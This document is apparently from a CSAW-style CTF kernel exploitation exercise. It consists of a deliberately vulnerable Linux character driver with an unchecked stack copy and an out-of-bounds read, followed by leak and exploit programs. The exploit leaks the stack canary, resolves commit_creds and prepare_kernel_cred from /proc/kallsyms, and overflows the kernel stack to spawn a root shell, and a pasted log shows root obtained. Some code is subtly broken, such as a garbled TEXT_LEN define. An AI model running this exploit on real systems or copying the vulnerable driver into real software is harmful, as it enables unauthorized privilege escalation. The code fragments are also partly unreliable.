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#include <linux/init.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <asm/current.h>
#include <linux/uaccess.h>

MODULE_LICENSE("Dual BSD/GPL");

#define DRIVER_NAME "chardev"
#define BUFFER_SIZE 64
     
static const unsigned int MINOR_BASE = 0;
static const unsigned int MINOR_NUM  = 2;
static unsigned int chardev_major;
static struct cdev chardev_cdev;
static struct class *chardev_class = NULL;
 
static int     chardev_release(struct inode *, struct file *);
static ssize_t chardev_read(struct file *, char *, size_t, loff_t *);
static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *);
static loff_t chardev_lseek(struct file *, loff_t, int);

struct file_operations chardev_fops = {
    .release = chardev_release,
    .read    = chardev_read,
    .write   = chardev_write,
    .llseek = chardev_lseek,
};

struct data {
    unsigned char buffer[BUFFER_SIZE];
};

static int chardev_init(void)
{
    int alloc_ret = 0;
    int cdev_err = 0;
    dev_t dev;
 
    printk("The chardev_init() function has been called.");
     
    alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME);
    if (alloc_ret != 0) {
        printk(KERN_ERR  "alloc_chrdev_region = %d\n", alloc_ret);
        return -1;
    }
    //Get the major number value in dev.
    chardev_major = MAJOR(dev);
    dev = MKDEV(chardev_major, MINOR_BASE);
 
    //initialize a cdev structure
    cdev_init(&chardev_cdev, &chardev_fops);
    chardev_cdev.owner = THIS_MODULE;
 
    //add a char device to the system
    cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM);
    if (cdev_err != 0) {
        printk(KERN_ERR  "cdev_add = %d\n", alloc_ret);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
 
    chardev_class = class_create(THIS_MODULE, "chardev");
    if (IS_ERR(chardev_class)) {
        printk(KERN_ERR  "class_create\n");
        cdev_del(&chardev_cdev);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
 
    device_create(chardev_class, NULL, MKDEV(chardev_major, MINOR_BASE), NULL, "chardev%d", MINOR_BASE);
 
    return 0;
}
 
static void chardev_exit(void)
{
    int minor; 
    dev_t dev = MKDEV(chardev_major, MINOR_BASE);
     
    printk("The chardev_exit() function has been called.");
     
    for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) {
        device_destroy(chardev_class, MKDEV(chardev_major, minor));
    }
 
    class_destroy(chardev_class);
    cdev_del(&chardev_cdev);
    unregister_chrdev_region(dev, MINOR_NUM);
}
 
static int chardev_release(struct inode *inode, struct file *file)
{
    printk("The chardev_release() function has been called.");
    if (file->private_data) {
        kfree(file->private_data);
        file->private_data = NULL;
    }
    return 0;
}
 
static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
    char data[BUFFER_SIZE];
    printk("The chardev_write() function has been called.");   
    printk("Before calling the copy_from_user() function : %p",data);
    if (_copy_from_user(&data, buf, count) != 0) {
        return -EFAULT;
    }
/*
    if (copy_from_user(&data, buf, count) != 0) {
        return -EFAULT;
    }
    if (__copy_from_user(&data, buf, count) != 0) {
        return -EFAULT;
    }
*/
    printk("After calling the copy_from_user() function : %p",data);
    return count;
}
 
static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
    char data[BUFFER_SIZE];

    printk("The chardev_read() function has been called.\n");
    memset(data, 0, sizeof(data));
    strcpy(data, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    printk("MSG : %s",data);
    printk("f_pos : %lld\n",*f_pos);
    if (memcpy(buf, data + *f_pos, BUFFER_SIZE) != 0) {
        return -EFAULT;
    }
 
    return count;
}

static loff_t chardev_lseek(struct file *file, loff_t offset, int orig) {
    loff_t new_pos = 0;
    printk("The chardev_lseek() function has been called.");
    switch(orig) {
        case 0 : /*seek set*/
            new_pos = offset;
            break;
        case 1 : /*seek cur*/
            new_pos = file->f_pos + offset;
            break;
        case 2 : /*seek end*/
            new_pos = BUFFER_SIZE - offset;
            break;
    }
    if(new_pos > BUFFER_SIZE)
        new_pos = BUFFER_SIZE;
    if(new_pos < 0)
        new_pos = 0;
    file->f_pos = new_pos;
    return new_pos;
}

module_init(chardev_init);
module_exit(chardev_exit);

//gcc -static -o test test.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
  
#define TEXT_LEN 64
  
int main()
{
    static char buf[128];
    int fd;
   
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }
   
    memset (buf, 'A', TEXT_LEN);
 
    if (read(fd, buf, TEXT_LEN) < 0){
        printf("An error occurred in the read.\n");
    }else{
        printf("%s\n", buf);
    }
  
    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

//gcc -static -o leak leak.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

#define TEXT_LEN 64

int main()
{
    static char buf[512]; 
    char canary[8];
    int fd,i,j;
 
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    lseek(fd, 32, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(canary, buf+32,4);
    printf("canary is :");
    for(i = 0;i < 84;i++){
		printf("%02x ",canary[i] & 0xff);
 	}
    printf("\n");

    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

//gcc -masm=intel -static -o exploit exploit.c
struct trap_frame {
    void * eip;
    uint32_t cs;
    uint32_t eflags;
    void * esp;
    uint32_t ss;
} __attribute__((packed));
struct trap_frame tf;

void getShell(void) {
    execl("/bin/sh", "sh", NULL);
}

void prepare_tf(void) {
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &getShell ;
    tf.esp -= 1024; 		// unused part of stack
}

void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf, %esp;"
        "iret ;");
}
...

lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ ./test5exploit 
commit_creds address is :0xc1082b60
prepare_kernel_cred address is :0xc1082e20
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

9f 62 5f 66 60 e1 4c f8 90 5f cb f4 a0 bf 0e 08  | ?b_f`?L??_????
5c 5f cb f4 5f e8 1a c1 90 5f cb f4 40 75 f5 e4  | \_??_???_??@u??
canary is :9f 62 5f 66 
# id
uid=0(root) gid=0(root) groups=0(root)
# 

//gcc -masm=intel -static -o exploit exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>

#define TEXT_LEN 6464ls

struct trap_frame {
    void * eip ; 		// instruction pointer
    uint32_t cs ; 		// code segment
    uint32_t eflags ; 		// CPU flags
    void * esp ; 		// stack pointer
    uint32_t ss ; 		// stack segment
} __attribute__((packed));
struct trap_frame tf;

void getShell(void) {
    execl("/bin/sh", "sh", NULL);
}

void prepare_tf(void) {
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &getShell ;
    tf.esp -= 1024; 		// unused part of stack
}

unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);

void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf, %esp;"
        "iret ;");
}

unsigned long kallsym_getaddr(const char* str)
{
    FILE *stream;
    char fbuf[256];
    char addr[32];

    stream = fopen("/proc/kallsyms","r");
    if(stream < 0)
    {
        printf("failed to open /proc/kallsyms\n");
        return 0;
    }

    memset(fbuf,0x00,sizeof(fbuf));
	
    while(fgets(fbuf,256,stream) != NULL)
    {
        char *p = fbuf;
        char *a = addr;

        if(strlen(fbuf) == 0)
            continue;

        memset(addr,0x00,sizeof(addr));
        fbuf[strlen(fbuf)-1] = '\0';

        while(*p != ' ')
            *a++ = *p++;

        p+=3;
	if(!strcmp(p,str))
            return strtoul(addr, NULL, 16);
    }
    return 0;
}

int main()
{
    static char buf[128],rop[128]; 
    char canary[4];
    int fd,i,j;

    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }
    printf("commit_creds address is :%p\n",commit_creds);

    //Find the address of "prepare_kernel_cred()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }
    printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); 
 
    //leak the canary
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    lseek(fd, 32, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(canary, buf+32,4);
    printf("canary is :");
    for(i = 0;i < 4;i++){
		printf("%02x ",canary[i] & 0xff);
    }
    printf("\n");

    //Exploit code
    memset(rop, 'A', 64);
    memcpy(rop+64, canary, 4);
    memset(rop+68, 'B', 16);
    *((void**)(rop+84)) = &payload;

    prepare_tf();

    //Overflow
    write(fd, rop, 88);
    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}